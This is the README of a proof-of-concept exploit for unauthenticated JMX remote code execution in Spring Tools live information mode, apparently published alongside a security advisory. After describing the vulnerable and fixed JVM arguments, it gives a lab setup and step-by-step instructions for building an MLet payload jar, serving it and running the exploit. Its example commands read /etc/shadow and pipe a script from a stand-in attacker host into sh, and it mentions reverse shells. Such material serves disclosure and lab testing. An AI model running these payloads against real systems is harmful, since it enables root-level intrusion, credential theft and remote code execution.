
Proof-of-concept exploit for unauthenticated JMX RCE in Spring Tools live information mode, using MLet remote class loading to execute arbitrary commands on vulnerable Spring Boot applications.
中文 README | Advisory: Spring Security | CVE Record
Vulnerability: Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 start Spring Boot applications in live information mode (enabled by default) with JVM arguments that expose an unauthenticated, TLS-less, all-interfaces-bound remote JMX agent. An attacker on the adjacent network can connect to the JMX MBeanServer without credentials and achieve direct RCE (as root) via MLet remote class loading.
AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HDiff between affected tag 5.2.0.RELEASE (== v2.2.0) and fixed tag 5.3.0.RELEASE (== v2.3.0):
Vulnerable eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:
"-Dcom.sun.management.jmxremote", // enable JMX
"-Dcom.sun.management.jmxremote.port=<free port>",
"-Dcom.sun.management.jmxremote.authenticate=false", // NO authentication!
"-Dcom.sun.management.jmxremote.ssl=false", // NO TLS!
"-Djava.rmi.server.hostname=localhost", // the only "barrier": stubs advertise localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*" // all actuator endpoints via JMX
BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: enabled by default; every Boot app launch from the IDE gets these args.vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) injects the same -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.Fixed 5.3.0:
-Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true (JMX binds to loopback only).com.sun.management.jmxremote* args at all — JMX agent is started on-demand via the Attach API against the child PID (VSCode side likewise: debug-config-provider.ts removes the remote JMX args entirely).Note:
-Dcom.sun.management.jmxremote.portalone is enough to enable the JMX agent (the maincom.sun.management.jmxremoteswitch is not required) — the VSCode variant is equally exploitable.
The scripts are fully decoupled: setup-lab.sh only builds the environment, attack.sh only performs the exploit. Requirements: docker, JDK 17+ (default /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter (optional).
setup-lab.sh)./setup-lab.sh vuln # vulnerable config (5.2.0 args) [default]
./setup-lab.sh fixed-pinned # fixed 5.3.0 pinned-port config (JMX on 127.0.0.1 only)
./setup-lab.sh fixed-auto # fixed 5.3.0 default auto config (no remote JMX port)
./setup-lab.sh cleanup # stop & remove container and network
It builds the victim Spring Boot app → creates an isolated docker bridge network (victim container 172.22.0.x, attacker on the host = adjacent network) → starts the app with the per-version JVM args → shows JMX listening sockets → prints the victim IP / JMX port / gateway. The victim keeps running so you can attack it next.
attack.sh)./attack.sh <victim-ip> 19090 "id; whoami; uname -a" 8000
# Custom command (default id; hostname; uname -a; no recompilation needed)
PAYLOAD_HOST=172.22.0.1 ./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000
It builds the evil jar → generates mlet.txt (command delivered via <ARG>) → serves the payloads over HTTP → runs the exploit. The payload only executes the command and echoes it back: the command runs synchronously via /bin/sh -c inside the victim JVM, its output is captured in memory, and the exploit pulls it back over the same JMX connection (Pwn.getOutput() / getExitCode()) and prints it on the attacker side. No files are written on the target — to also keep the output there, redirect inside the command (e.g. "id > /tmp/out.txt").
Contrast test:
./setup-lab.sh vuln→ exploit succeeds; then./setup-lab.sh cleanup && ./setup-lab.sh fixed-pinned→ exploit must fail (JMX loopback only).
attack.sh (recommended)The command is fully configurable, and changing it requires no recompilation (the command is delivered through the MLET <ARG> tag; the jar is command-agnostic):
./attack.sh <target-ip> <jmx-port> "<command>" [http-port]
# Examples
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a" # basic recon
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000 # read a file
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000 # pipes / reverse shell etc.
./attack.sh 192.168.1.20 19090 "id" 8000 # arbitrary remote target
# Env vars
PAYLOAD_HOST=192.168.1.10 ./attack.sh ... # IP of this host as seen by the victim (auto-detected by default)
JDK_DIR=/path/to/jdk ./attack.sh ... # JDK location
Flow: builds evil.jar → XML-escapes the command and generates mlet.txt → serves evil.jar + mlet.txt over HTTP → compiles and runs JmxExploit. The payload only executes the command and echoes its output back; it writes nothing on the target.
# 1) Build the payload jar
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .
# 2) Generate mlet.txt (replace <COMMAND> with yours; XML-escape & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<COMMAND>">
</MLET>
EOF
# 3) Serve the payloads
python3 -m http.server 8000 --bind 0.0.0.0 # from the exploit-server directory
# 4) Compile and run the exploit (JDK 17+ needs --add-opens to rewrite the RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
-cp classes JmxExploit <target-ip> <jmx-port> "http://<this-host-ip>:8000/mlet.txt"
# 5) Verify on your own (output goes to the victim app console/log, e.g. docker exec victim tail /app.log)